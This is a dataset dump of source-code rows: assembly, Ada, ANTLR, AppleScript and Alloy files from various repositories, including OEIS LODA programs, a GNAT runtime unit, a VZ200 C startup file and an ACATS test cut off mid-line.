max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
ch3/fasmhello.asm
cymonpereira/Mastering-Reverse-Engineering
2
174737
format PE CONSOLE entry start include '%include%\win32a.inc' section '.data' data readable writeable message db 'Hello World!',0 msgformat db '%s',0 section '.code' code readable executable start: push message push msgformat call [printf] push 0 call [ExitProcess] section '.idata' import data readable writeable library kernel32, 'kernel32.dll', \ msvcrt, 'msvcrt.dll' import kernel32, ExitProcess, 'ExitProcess' import msvcrt, printf, 'printf'
rts/gcc-9/adainclude/a-tags.adb
letsbyteit/build-avr-ada-toolchain
12
22131
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . T A G S -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2010, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This is the HI-E version of this file. Some functionality has been -- removed in order to simplify this run-time unit. with Ada.Unchecked_Conversion; with System.Storage_Elements; use System.Storage_Elements; package body Ada.Tags is ----------------------- -- Local Subprograms -- ----------------------- function Length (Str : Cstring_Ptr) return Natural; -- Length of string represented by the given pointer (treating the string -- as a C-style string, which is Nul terminated). -- Unchecked Conversions function To_Addr_Ptr is new Ada.Unchecked_Conversion (System.Address, Addr_Ptr); function To_Address is new Ada.Unchecked_Conversion (Tag, System.Address); function To_Type_Specific_Data_Ptr is new Ada.Unchecked_Conversion (System.Address, Type_Specific_Data_Ptr); ------------------- -- Expanded_Name -- ------------------- function Expanded_Name (T : Tag) return String is Result : Cstring_Ptr; TSD_Ptr : Addr_Ptr; TSD : Type_Specific_Data_Ptr; begin if T = No_Tag then raise Tag_Error; end if; TSD_Ptr := To_Addr_Ptr (To_Address (T) - DT_Typeinfo_Ptr_Size); TSD := To_Type_Specific_Data_Ptr (TSD_Ptr.all); Result := TSD.Expanded_Name; return Result (1 .. Length (Result)); end Expanded_Name; ------------------ -- External_Tag -- ------------------ function External_Tag (T : Tag) return String is Result : Cstring_Ptr; TSD_Ptr : Addr_Ptr; TSD : Type_Specific_Data_Ptr; begin if T = No_Tag then raise Tag_Error; end if; TSD_Ptr := To_Addr_Ptr (To_Address (T) - DT_Typeinfo_Ptr_Size); TSD := To_Type_Specific_Data_Ptr (TSD_Ptr.all); Result := TSD.External_Tag; return Result (1 .. Length (Result)); end External_Tag; ------------ -- Length -- ------------ function Length (Str : Cstring_Ptr) return Natural is Len : Integer; begin Len := 1; while Str (Len) /= ASCII.NUL loop Len := Len + 1; end loop; return Len - 1; end Length; ---------------- -- Parent_Tag -- ---------------- function Parent_Tag (T : Tag) return Tag is TSD_Ptr : Addr_Ptr; TSD : Type_Specific_Data_Ptr; begin if T = No_Tag then raise Tag_Error; end if; TSD_Ptr := To_Addr_Ptr (To_Address (T) - DT_Typeinfo_Ptr_Size); TSD := To_Type_Specific_Data_Ptr (TSD_Ptr.all); -- The Parent_Tag of a root-level tagged type is defined to be No_Tag. -- The first entry in the Ancestors_Tags array will be null for such -- a type, but it's better to be explicit about returning No_Tag in -- this case. if TSD.Idepth = 0 then return No_Tag; else return TSD.Tags_Table (1); end if; end Parent_Tag; end Ada.Tags;
programs/oeis/087/A087755.asm
neoneye/loda
22
173107
; A087755: Triangle read by rows: Stirling numbers of the first kind (A008275) mod 2. ; 1,1,1,0,1,1,0,1,0,1,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1 add $0,1 mul $0,2 seq $0,75439 ; Triangle read by rows giving successive iterations of the Rule 102 elementary cellular automaton starting with a single ON cell where row n is of length 2n+1.
src/main/java/com/xiao/deng/antlr/cacl/Calc.g4
dxCarl/LeetCode
3
7063
grammar Calc; calc: stmt*; stmt: expr NEWLINE # printExpr | ID '=' expr NEWLINE # assign | NEWLINE # blank ; expr: expr op=('*'|'/') expr # mulDiv | expr op=('+'|'-') expr # addSub | NUMBER # literal | ID # id | '(' expr ')' # paren ; MUL : '*'; DIV : '/'; ADD : '+'; SUB : '-'; ID : [a-zA-Z_]+ ; NUMBER : DIGIT+ | DIGIT+ '.' DIGIT* | '.' DIGIT+ ; fragment DIGIT : [0-9]; NEWLINE : '\r'? '\n'; WS : [ \t]+ -> skip;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/ancestor_type.adb
best08618/asylo
7
20663
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/ancestor_type.adb -- { dg-do compile } package body Ancestor_Type is package body B is function make return T is begin return (T with n => 0); -- { dg-error "expect ancestor" } end make; end B; end Ancestor_Type;
programs/oeis/055/A055860.asm
neoneye/loda
22
3536
<filename>programs/oeis/055/A055860.asm ; A055860: a(n) = A000169(n+1) if n > 0; a(0) = 0. ; 0,2,9,64,625,7776,117649,2097152,43046721,1000000000,25937424601,743008370688,23298085122481,793714773254144,29192926025390625,1152921504606846976,48661191875666868481,2185911559738696531968 mov $1,$0 add $0,1 lpb $0 add $0,$1 add $1,$0 sub $0,1 lpe pow $0,$1
oeis/263/A263895.asm
neoneye/loda-programs
11
241939
; A263895: Expansion of e.g.f.: exp(-x)*x/(1-2*x)^2. ; Submitted by <NAME> ; 0,1,6,51,524,6405,90834,1467319,26607384,535277961,11832460190,285105945531,7437546405156,208846303056781,6280859188226154,201420656725873215,6861297209758777904,247422535745846839569,9416194788956228294454,377156775060354873848131,15859925925614922900280380,698610395650257335558691861,32168571706686268009446741506,1545521156219015809698307891911,77341824668662237966179152378184,4024931691940585853341976297232025,217504151823299110035499738728852174,12188440205947138807649702340088508619 mov $3,1 lpb $0 mul $3,$0 sub $0,1 add $3,$2 mov $2,$3 add $3,$1 mov $1,$2 mul $3,2 lpe mov $0,$1
lib/target/vz/classic/vz_crt0.asm
Toysoft/z88dk
0
245541
<reponame>Toysoft/z88dk ; Startup for VZ200/300 ; ; <NAME> - Apr. 2000 ; ; If an error occurs eg break we just drop back to BASIC ; ; $Id: vz_crt0.asm,v 1.27 2016-07-15 21:03:25 dom Exp $ ; MODULE vz_crt0 ;-------- ; Include zcc_opt.def to find out some info ;-------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) IF !DEFINED_CRT_ORG_CODE IF (startup=3) defc CRT_ORG_CODE = 32768 ; clean binary block ELSE IF (startup=2) defc CRT_ORG_CODE = $7ae9 ; BASIC startup mode ELSE defc CRT_ORG_CODE = $7b00 ; Direct M/C mode ENDIF ENDIF ENDIF defc CONSOLE_ROWS = 16 defc CONSOLE_COLUMNS = 32 ; Now, getting to the real stuff now! defc TAR__no_ansifont = 1 defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = -1 defc __CPU_CLOCK = 3800000 INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE-24 IF (startup=3) ; STARTUP=3 -> plain binary block ELSE defb $20,$20,0,0 defm "z80.mc" defb 0,0,0,0,0,0,0,0,0,0,0 IF (startup=2) ; BASIC startup mode defb $f0 ELSE ; native M/C startup mode defb $f1 ENDIF defw CRT_ORG_CODE IF (startup=2) defw $7b04 defw 1 defb $B1 ;POKE defm " 30862,18:" defb $B1 ;POKE defm " 30863,123" defb 0 ; this block is 27 bytes long defw $7b0f defw 2 defb $b2 ; PRINT defb ' ' defb $c1 ; USR defm "(0)" defb 0 ; this block is 11 bytes long defw 0 defb 4 ; Header ends here: 65 bytes ENDIF ENDIF start: ld (start1+1),sp INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main cleanup: ; ; Deallocate memory which has been allocated here! ; push hl IF CRT_ENABLE_STDIO = 1 EXTERN closeall call closeall ENDIF pop bc start1: ld sp,0 jp 1A19h l_dcal: jp (hl) defm "Small C+ VZ" defb 0 INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" SECTION code_crt_init ld hl,$7000 ld (base_graphics),hl
oeis/062/A062265.asm
neoneye/loda-programs
11
97393
<filename>oeis/062/A062265.asm ; A062265: Row sums of signed triangle A062140 (generalized a=4 Laguerre). ; Submitted by <NAME> ; 1,4,19,104,641,4364,32251,254176,2091841,17435924,138844931,891248984,263059969,-163754125796,-4970760027029,-117798281164336,-2588474951884159,-55489648295242204,-1184521077396558989,-25406942370946446776,-549455868757454486399,-11980725887273702949076,-262649059716926730298021,-5754179658891924967433536,-124603916860384748856605759,-2612594945964633362428163276,-50742287358311258650081641629,-803744034213016461710604575944,-4145859465448431289096731361279,471403086727956872346897818369084 lpb $0 sub $0,1 add $3,1 mov $1,$3 mul $1,3 add $2,$1 mov $1,$3 mul $1,$0 add $2,$1 add $4,1 mul $3,$4 sub $2,$3 add $3,$2 lpe mov $0,$3 add $0,1
source/Music/musicsearch.applescript
wildcard/PopClip-Extensions
1
480
(* This is based on the original iTunesMusic script. But I had to remove the direct UI scripting since the search field is not exposed for scripting. -NM *) -- activate Music app tell application "Music" reveal (some playlist whose special kind is Music) activate end tell -- poke it tell application "System Events" tell process "Music" -- wait for application to be frontmost repeat 100 times if frontmost is true then delay 0.1 (* command-F to focus the search field. unfortunately, if the searc field already has the focus, we get the boop sound. *) keystroke "f" using {command down} -- paste our text into field using clipboard set the clipboard to "{popclip text}" keystroke "v" using {command down} keystroke return exit repeat end if delay 0.02 end repeat end tell end tell
source/oasis/program-elements-task_body_declarations.ads
reznikmm/gela
0
1514
<reponame>reznikmm/gela<gh_stars>0 -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Program.Elements.Declarations; with Program.Lexical_Elements; with Program.Elements.Defining_Identifiers; with Program.Elements.Aspect_Specifications; with Program.Element_Vectors; with Program.Elements.Exception_Handlers; with Program.Elements.Identifiers; package Program.Elements.Task_Body_Declarations is pragma Pure (Program.Elements.Task_Body_Declarations); type Task_Body_Declaration is limited interface and Program.Elements.Declarations.Declaration; type Task_Body_Declaration_Access is access all Task_Body_Declaration'Class with Storage_Size => 0; not overriding function Name (Self : Task_Body_Declaration) return not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access is abstract; not overriding function Aspects (Self : Task_Body_Declaration) return Program.Elements.Aspect_Specifications .Aspect_Specification_Vector_Access is abstract; not overriding function Declarations (Self : Task_Body_Declaration) return Program.Element_Vectors.Element_Vector_Access is abstract; not overriding function Statements (Self : Task_Body_Declaration) return not null Program.Element_Vectors.Element_Vector_Access is abstract; not overriding function Exception_Handlers (Self : Task_Body_Declaration) return Program.Elements.Exception_Handlers .Exception_Handler_Vector_Access is abstract; not overriding function End_Name (Self : Task_Body_Declaration) return Program.Elements.Identifiers.Identifier_Access is abstract; type Task_Body_Declaration_Text is limited interface; type Task_Body_Declaration_Text_Access is access all Task_Body_Declaration_Text'Class with Storage_Size => 0; not overriding function To_Task_Body_Declaration_Text (Self : in out Task_Body_Declaration) return Task_Body_Declaration_Text_Access is abstract; not overriding function Task_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Body_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function With_Token (Self : Task_Body_Declaration_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Is_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Begin_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Exception_Token (Self : Task_Body_Declaration_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function End_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Semicolon_Token (Self : Task_Body_Declaration_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; end Program.Elements.Task_Body_Declarations;
src/interface/yaml-dom-dumping.ads
robdaemon/AdaYaml
32
3449
<filename>src/interface/yaml-dom-dumping.ads -- part of AdaYaml, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "copying.txt" with Yaml.Dom.Vectors; with Yaml.Events.Queue; with Yaml.Destination; package Yaml.Dom.Dumping is function To_Event_Queue (Document : Document_Reference) return Events.Queue.Reference; function To_Event_Queue (Documents : Vectors.Vector) return Events.Queue.Reference; procedure Dump (Document : Document_Reference; Output : not null Destination.Pointer); procedure Dump (Documents : Vectors.Vector; Output : not null Destination.Pointer); end Yaml.Dom.Dumping;
alloy4fun_models/trashltl/models/10/qabkyBCbca5nn529y.als
Kaixi26/org.alloytools.alloy
0
1738
open main pred idqabkyBCbca5nn529y_prop11 { all f : File - Protected - Trash | after f in Protected } pred __repair { idqabkyBCbca5nn529y_prop11 } check __repair { idqabkyBCbca5nn529y_prop11 <=> prop11o }
ada/core/demo/myatexit.adb
auzkok/libagar
286
6475
with Ada.Text_IO; package body myatexit is procedure atexit is begin Ada.Text_IO.Put_Line("myatexit callback..."); end atexit; end myatexit;
src/chord-buster.asm
ras88/stereo-editor
0
20902
<filename>src/chord-buster.asm ;----------------------------------------------------------------------------- ;FILENAME: CHORD.SOURCE Chord buster Translation ;----------------------------------------------------------------------------- ;This source file contains code for the Stereo Editor translation of Jerry ;Roth's "Super Chord Buster". It is coded as a transient application. ;Transient applications load at $C000. Transient applications may use only the ;memory between $C000 and $CFFF, and zero page locations 100-131. Return with ;carry set ONLY if sid file needs to be saved after this application. .org $c000 .obj "016" ;-- Main Editor Interface storage -- start_heap = $7000 end_heap = $bf00 voice_start = 2 voice_end = 16 voice_pos = 30 nq_count = $bf10 nq_hot = $bf11 nq_app = $bf12 nq_name = $bf13 note_queue = $bf33 ;-- NEW Kernal routine equates -- setirq = $e000 print = $e003 lprint = $e006 printchar = $e009 printbyte = $e00c printword = $e00f select_string = $e012 save_screen = $e015 recall_screen = $e018 getrom = $e01b clear_screen = $e01e menudef = $e021 menuset = $e024 select = $e027 select_0 = $e02a headerdef = $e02d sizedef = $e030 s_itemx = $e033 s_itemy = $e036 s_itemlen = $e039 s_itemvecl = $e03c s_itemvech = $e03f s_itemvarl = $e042 s_itemvarh = $e045 s_itemmin = $e048 s_itemmax = $e04b s_itemtype = $e04e read_item = $e051 cursor_on = $e054 cursor_off = $e057 move_up = $e05a move_down = $e05d read_prdir = $e060 init_drive = $e063 load_prfile = $e066 preparef = $e069 releasef = $e06c setlfs = $e06f setnam = $e072 open = $e075 close = $e078 chkin = $e07b chkout = $e07e clrchn = $e081 chrin = $e084 chrout = $e087 getin = $e08a set_item = $e08d get_adr = $e090 backspace = $e093 read_err = $e096 read_error = $e099 ;-- Zero-page start of storage equate -- zp = 100 ;Start of zero page storage for this module ;-- Constants used by Kernal routines -- screen = $f400 s_base = screen s = s_base vic = $d000 c_base = $d800 c = c_base col_f1 = s_base-c_base col_factor = 65535-col_f1+1/256 kernal_in = %00000110 kernal_out = %00000101 eof = 1 def = 2 tab = 3 rvs = 4 rvsoff = 5 defl = 6 defr = 7 clr = 8 fkey = 10 box = 12 xx = 96 col = 176 yy = 224 eot = 255 dispatch = 1 service = 2 numeric = 3 string = 4 null'item = 5 eom = 0 ;-- Major storage -- base_note = $cf00 chord_type = $cf01 cur_item = $cf02 ;4 bytes ;-- Zero-page usage -- ptr = zp ;General-use pointer mod_flag = zp+4 ;1=SID in memory modified, 0=not r0 = zp+6 r1 = zp+8 r2 = zp+10 r3 = zp+12 heap_ptr = zp+14 item_ptr = zp+16 txtptr = $e0 ;Kernal interface variable colptr = $e2 ;Kernal interface variable start_m = $e2 ;Start of block to be moved end_m = $e4 ;End of block dest_m = $e6 ;Destination address for block ;-- Transient application ID text -- .asc "sid/app" .byte 016 ;File number .word init ;Starting address return_vec .word $ffff ;Filled in by main program - Return location stack_save .byte $fa ;-- Exit application -- exit = * ldx stack_save txs lsr mod_flag jmp (return_vec) ;-- Set flag indicating file modified -- modify = * lda #1 sta mod_flag rts ;-- Clear bottom of screen only (leave top logo alone). -- clear_bot = * ldy #0 lda #32 - sta s_base+200,y sta s_base+200+256,y sta s_base+200+512,y sta s_base+768-24,y iny bne - rts ;----------------------------------------------------------------------------- ; MAIN PROGRAM ;----------------------------------------------------------------------------- init = * tsx stx stack_save lda #0 sta mod_flag jsr print .byte clr,box,9,0,31,4,7,col+1,xx+11,yy+1 .asc "Super Chord Buster" .byte col+15,xx+10,yy+2 .asc "By <NAME> (Dr. J)" .byte xx+13,yy+3 .asc "Copyright 1988" .byte eot main_menu = * jsr clear_bot jsr print .byte box,6,9,33,16,6 .byte col+13,xx+10,yy+7 .asc "Choose base of chord:" .byte xx+4,yy+18,col+5 .asc "Commonly used chords in key of C:" .byte xx+7,yy+20,col+13 .asc "C F G C7 G7 A7 E7 D7" .byte xx+16,yy+21 .asc "Am Dm Em" .byte xx+9,yy+23,col+11 .asc "Press F5 to return to" .byte xx+13,yy+24 .asc "Stereo Editor" .byte eot ldx #yy+10 - txa jsr printchar jsr print .byte xx+12 .asc "................" .byte eot inx cpx #yy+16 bcc - jsr menudef .byte 4,3,1 .word exit,0,0,0 .byte dispatch,7,10,5 .word csel .asc "C" .byte dispatch,7,11,5 .word csel .asc "C#/Db" .byte dispatch,7,12,5 .word csel .asc "D" .byte dispatch,7,13,5 .word csel .asc "D#/Eb" .byte dispatch,7,14,5 .word csel .asc "E" .byte dispatch,7,15,5 .word csel .asc "F" .byte dispatch,28,10,5 .word csel .asc "F#/Gb" .byte dispatch,28,11,5 .word csel .asc "G" .byte dispatch,28,12,5 .word csel .asc "G#/Ab" .byte dispatch,28,13,5 .word csel .asc "A" .byte dispatch,28,14,5 .word csel .asc "A#/Bb" .byte dispatch,28,15,5 .word csel .asc "B" .byte eom jmp select ;-- Chord table. -- chord_tab = * .byte 1,5,8,0,0,0,0 .byte 1,4,8,0,0,0,0 .byte 1,5,9,0,0,0,0 .byte 1,4,7,0,0,0,0 .byte 1,5,8,10,0,0,0 .byte 1,4,8,10,0,0,0 .byte 1,5,8,10,3,0,0 .byte 1,5,8,11,0,0,0 .byte 1,5,9,11,0,0,0 .byte 1,5,7,11,0,0,0 .byte 1,5,8,12,0,0,0 .byte 1,4,8,11,0,0,0 .byte 1,4,9,11,0,0,0 .byte 1,4,7,11,0,0,0 .byte 1,4,7,10,0,0,0 .byte 1,5,8,11,3,0,0 .byte 1,5,9,11,3,0,0 .byte 1,5,7,11,3,0,0 .byte 1,5,8,12,3,0,0 .byte 1,4,8,11,3,0,0 .byte 1,4,9,11,3,0,0 .byte 1,4,7,11,3,0,0 .byte 1,5,8,11,3,6,0 .byte 1,5,8,11,3,6,10 ;-- Names of notes. -- note_tab = * .asc "C" .byte eot .asc "C#/Db" .byte eot .asc "D" .byte eot .asc "D#/Eb" .byte eot .asc "E" .byte eot .asc "F" .byte eot .asc "F#/Gb" .byte eot .asc "G" .byte eot .asc "G#/Ab" .byte eot .asc "A" .byte eot .asc "A#/Bb" .byte eot .asc "B" .byte eot ;-- Ordinal numbers. -- ordinal = * .asc "1st " .byte eot .asc "3rd " .byte eot .asc "5th " .byte eot .asc "7th " .byte eot .asc "9th " .byte eot .asc "11th" .byte eot .asc "13th" .byte eot ;-- The base chord has been selected. -- csel = * jsr read_item sta base_note c_reenter = * jsr clear_bot jsr print .byte box,3,9,37,22,6,def,40,0,7,13 .asc "Choose type of chord (" .byte eot lda #<note_tab sta txtptr lda #>note_tab sta txtptr+1 lda base_note jsr select_string jsr lprint jsr print .asc "):" .byte eof,col+11,eot ldx #yy+10 - txa jsr printchar jsr print .byte xx+18 .asc "....." .byte eot inx cpx #yy+22 bcc - jsr menudef .byte 5,3,1 .word main_menu,0,0,0 .byte dispatch,4,10,14 .word tsel .asc "Major" .byte dispatch,4,11,14 .word tsel .asc "Minor" .byte dispatch,4,12,14 .word tsel .asc "Augmented (+5)" .byte dispatch,4,13,14 .word tsel .asc "Diminished" .byte dispatch,4,14,14 .word tsel .asc "6th" .byte dispatch,4,15,14 .word tsel .asc "Minor 6th" .byte dispatch,4,16,14 .word tsel .asc "6th,9" .byte dispatch,4,17,14 .word tsel .asc "7th" .byte dispatch,4,18,14 .word tsel .asc "7th+5" .byte dispatch,4,19,14 .word tsel .asc "7th-5" .byte dispatch,4,20,14 .word tsel .asc "Major 7th" .byte dispatch,4,21,14 .word tsel .asc "Minor 7th" .byte dispatch,23,10,14 .word tsel .asc "Minor 7th+5" .byte dispatch,23,11,14 .word tsel .asc "Minor 7th-5" .byte dispatch,23,12,14 .word tsel .asc "Diminished 7th" .byte dispatch,23,13,14 .word tsel .asc "9th" .byte dispatch,23,14,14 .word tsel .asc "9th+5" .byte dispatch,23,15,14 .word tsel .asc "9th-5" .byte dispatch,23,16,14 .word tsel .asc "Major 9th" .byte dispatch,23,17,14 .word tsel .asc "Minor 9th" .byte dispatch,23,18,14 .word tsel .asc "Minor 9th+5" .byte dispatch,23,19,14 .word tsel .asc "Minor 9th-5" .byte dispatch,23,20,14 .word tsel .asc "11th" .byte dispatch,23,21,14 .word tsel .asc "13th" .byte eom jmp select ;-- Type of chord has been selected. -- tsel = * jsr read_item sta chord_type asl ; Multiply by 7 asl adc chord_type adc chord_type adc chord_type adc #<chord_tab sta r0 lda #>chord_tab adc #0 sta r0+1 jsr print .byte box,14,13,26,21,2,col+15,yy+14,eot jsr init_queue ldy #0 ts1 sty r2 lda #xx+15 jsr printchar lda (r0),y bne + jmp ts9 + clc adc base_note cmp #13 bcc ts2 sbc #12 ts2 sec sbc #1 sta r1 cpy #3 bne ts4 lda chord_type cmp #4 beq ts3 cmp #5 beq ts3 cmp #6 bne ts4 ts3 jsr print .asc "6th " .byte eot lda #"6" jsr add_heap lda #"t" jsr add_heap lda #"h" jsr add_heap lda #32 jsr add_heap ldy r2 jmp ts5 ts4 lda #<ordinal sta txtptr lda #>ordinal sta txtptr+1 tya jsr select_string jsr ladd_heap jsr lprint ts5 jsr print .byte "-"," ",eot lda #"-" jsr add_heap lda #" " jsr add_heap lda #<note_tab sta txtptr lda #>note_tab sta txtptr+1 lda r1 jsr select_string jsr ladd_heap jsr lprint lda #13 jsr printchar lda #"$" jsr add_heap lda #5 sta cur_item lda r1 sta cur_item+1 jsr add_note ts9 ldy r2 iny cpy #7 bcs tsa jmp ts1 tsa lda #<remove_opt sta txtptr lda #>remove_opt sta txtptr+1 jsr ladd_heap lda #4 sta cur_item jsr add_note - jsr getin beq - jmp c_reenter ;-- Initialize (clear) note queue. -- init_queue = * ldx #<our_name ldy #>our_name jsr set_util lda #0 sta nq_count sta nq_hot lda #16 sta nq_app lda #<note_queue+32 sta heap_ptr lda #>note_queue sta heap_ptr+1 sta item_ptr+1 lda #<note_queue sta item_ptr rts ;-- Add byte in .A to note_queue text heap. -- add_heap = * sty aqy+1 ldy #0 sta (heap_ptr),y inc heap_ptr aqy ldy #0 rts ;-- Add EOT-terminated text at txtptr to note_queue text heap. -- ladd_heap = * ldy #0 - lda (txtptr),y cmp #eot beq + jsr add_heap iny bne - + rts ;-- Add 4 bytes to note info table. -- add_note = * ldy #3 - lda cur_item,y sta (item_ptr),y dey bpl - lda item_ptr clc adc #4 sta item_ptr inc nq_count rts ;-- Set the utility menu name to the EOT-terminated string at .X and .Y -- set_util = * stx txtptr sty txtptr+1 ldy #0 - lda (txtptr),y sta nq_name,y cmp #eot beq + iny bne - + rts ;-- Util name. -- our_name .asc "ADD CHORD NOTES" .byte eot remove_opt .asc "Remove Menu$" .byte eot
programs/oeis/190/A190321.asm
neoneye/loda
22
84023
<filename>programs/oeis/190/A190321.asm<gh_stars>10-100 ; A190321: Number of nonzero digits when writing n in base where place values are squares, cf. A007961. ; 0,1,1,1,1,2,2,2,1,1,2,2,2,2,3,3,1,2,2,2,2,3,3,3,2,1,2,2,2,2,3,3,3,2,2,3,1,2,2,2,2,3,3,3,2,2,3,3,3,1,2,2,2,2,3,3,3,2,2,3,3,3,3,4,1,2,2,2,2,3,3,3,2,2,3,3,3,3,4,4,2,1,2,2,2,2,3,3,3,2,2,3,3,3,3,4,4,2,3,3 lpb $0 mov $2,$0 seq $2,48760 ; Largest square <= n. mov $3,$2 cmp $3,0 add $2,$3 mod $0,$2 mov $4,$2 min $4,1 add $1,$4 lpe mov $0,$1
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce2401e.ada
best08618/asylo
7
8203
-- CE2401E.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT READ (WITH AND WITHOUT PARAMETER FROM), WRITE (WITH -- AND WITHOUT PARAMETER TO), SET_INDEX, INDEX, SIZE, AND -- END_OF_FILE ARE SUPPORTED FOR DIRECT FILES WITH ELEMENT_TYPE -- FLOATING POINT. -- APPLICABILITY CRITERIA: -- THIS TEST IS ONLY FOR IMPLEMENTATIONS WHICH SUPPORT CREATION OF -- DIRECT FILES WITH INOUT_FILE MODE AND OPENING OF DIRECT FILES -- WITH IN_FILE MODE. -- HISTORY: -- ABW 08/18/82 -- SPS 09/15/82 -- SPS 11/11/82 -- JBG 05/02/83 -- EG 11/19/85 HANDLE IMPLEMENTATIONS WITH -- POSITIVE_COUNT'LAST=1. -- TBN 11/04/86 REVISED TEST TO OUTPUT A NON_APPLICABLE -- RESULT WHEN FILES ARE NOT SUPPORTED. -- DWC 08/10/87 ISOLATED EXCEPTIONS. SPLIT FIXED POINT TESTS -- INTO CE2401I. WITH REPORT; USE REPORT; WITH DIRECT_IO; PROCEDURE CE2401E IS END_SUBTEST : EXCEPTION; BEGIN TEST ("CE2401E", "CHECK THAT READ, WRITE, SET_INDEX, " & "INDEX, SIZE, AND END_OF_FILE ARE " & "SUPPORTED FOR DIRECT FILES WITH " & "ELEMENT_TYPE FLOAT"); DECLARE PACKAGE DIR_FLT IS NEW DIRECT_IO (FLOAT); USE DIR_FLT; FILE_FLT : FILE_TYPE; BEGIN BEGIN CREATE (FILE_FLT, INOUT_FILE, LEGAL_FILE_NAME); EXCEPTION WHEN USE_ERROR | NAME_ERROR => NOT_APPLICABLE ("USE_ERROR | NAME_ERROR RAISED " & "ON CREATE - FLOAT"); RAISE END_SUBTEST; WHEN OTHERS => FAILED ("UNEXPECTED ERROR RAISED ON " & "CREATE - FLOAT"); RAISE END_SUBTEST; END; DECLARE FLT : FLOAT := 65.0; ITEM_FLT : FLOAT; ONE_FLT : POSITIVE_COUNT := 1; TWO_FLT : POSITIVE_COUNT := 2; BEGIN BEGIN WRITE (FILE_FLT, FLT); EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED ON WRITE FOR " & "FLOATING POINT - 1"); END; BEGIN WRITE (FILE_FLT, FLT, TWO_FLT); EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED ON WRITE FOR " & "FLOATING POINT - 2"); END; BEGIN IF SIZE (FILE_FLT) /= TWO_FLT THEN FAILED ("SIZE FOR FLOATING POINT"); END IF; IF NOT END_OF_FILE (FILE_FLT) THEN FAILED ("WRONG END_OF_FILE VALUE FOR " & "FLOATING POINT"); END IF; SET_INDEX (FILE_FLT, ONE_FLT); IF INDEX (FILE_FLT) /= ONE_FLT THEN FAILED ("WRONG INDEX VALUE FOR " & "FLOATING POINT"); END IF; END; CLOSE (FILE_FLT); BEGIN OPEN (FILE_FLT, IN_FILE, LEGAL_FILE_NAME); EXCEPTION WHEN USE_ERROR => NOT_APPLICABLE ("OPEN FOR IN_FILE " & "MODE NOT 